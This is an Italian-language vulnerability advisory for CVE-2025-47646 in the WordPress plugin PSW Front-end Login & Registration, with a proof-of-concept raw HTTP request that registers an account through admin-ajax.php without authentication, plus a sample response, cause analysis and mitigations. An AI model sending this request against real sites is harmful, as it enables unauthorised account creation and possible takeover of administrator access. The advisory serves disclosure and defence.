🔐 CVE-2025-47646 – PSW Front-end Login & Registration <= 1.12

📌 Informazioni sul Plugin

• Plugin: PSW Front-end Login & Registration
• Versione vulnerabile: <= 1.12
• CVE: CVE-2025-47646
• Gravità: Alta (CVSS 9.8)
• Tipo di vulnerabilità: Autenticazione compromessa
• Privilegio richiesto: Nessuno (non autenticato)
• Corretto: ❌ Nessuna correzione ufficiale disponibile
• Priorità di correzione: 🔴 Alta
• Data di pubblicazione: 8 maggio 2025

⚠️ Riepilogo della Vulnerabilità

Questo plugin espone una grave falla nel suo meccanismo di registrazione.
Sebbene offra un modulo di registrazione front-end basato su shortcode ([psw_registration]), non impone restrizioni adeguate sui ruoli né una convalida sicura.

Gli attaccanti possono sfruttare questo meccanismo per creare account senza autenticazione — e se il default_role del sito è configurato in modo errato (ad esempio impostato su administrator), può verificarsi una completa escalation dei privilegi.

🧪 Proof of Concept (PoC)

✅ Endpoint di destinazione:

POST /wordpress/wp-admin/admin-ajax.php

📥 Richiesta (ad esempio tramite Burp Suite o curl):

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: {Host}

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 233

Origin: {Host}

Connection: keep-alive

Cookie:

Priority: u=0



first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d

psw_form è il campo nonce necessario affinché la richiesta vada a buon fine.
Questo nonce viene generato dinamicamente dallo shortcode [psw_registration] sul front-end.

✅ Risposta di successo

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<h4>Ciao nxploited nxploited</h4>
<p>Grazie per aver creato un account sul nostro sito. Controlla la tua email per il link di attivazione...</p>

🛠️ Dov'è il difetto?

• Il plugin consente l'accesso AJAX non autenticato a register_user_front_end
• Rispetta l'impostazione default_role di WordPress per assegnare i ruoli utente
• Se questa è configurata in modo errato (administrator), l'attaccante ottiene accesso completo
• Non esiste alcuna imposizione o convalida del ruolo scritta in modo rigido nella logica del plugin

💬 Spiegazione dello Shortcode

Per esporre il modulo di registrazione e generare un nonce valido per psw_form, viene utilizzato il seguente shortcode:

[psw_registration]

Questo visualizza un modulo di registrazione che include il campo nonce nascosto necessario per far sì che la chiamata AJAX abbia successo.

🔐 Raccomandazione

• Limitare la registrazione AJAX non autenticata
• Imporre le assegnazioni dei ruoli lato server
• Monitorare e bloccare default_role su un valore sicuro (ad esempio subscriber)
• Applicare una patch virtuale se non è disponibile alcun aggiornamento

⚠️ Disclaimer

Questo report è destinato esclusivamente a scopi didattici e di test di sicurezza autorizzati.
Lo sfruttamento di questa vulnerabilità senza autorizzazione potrebbe violare limiti legali ed etici.

NXploited (Khaled_Alenazi)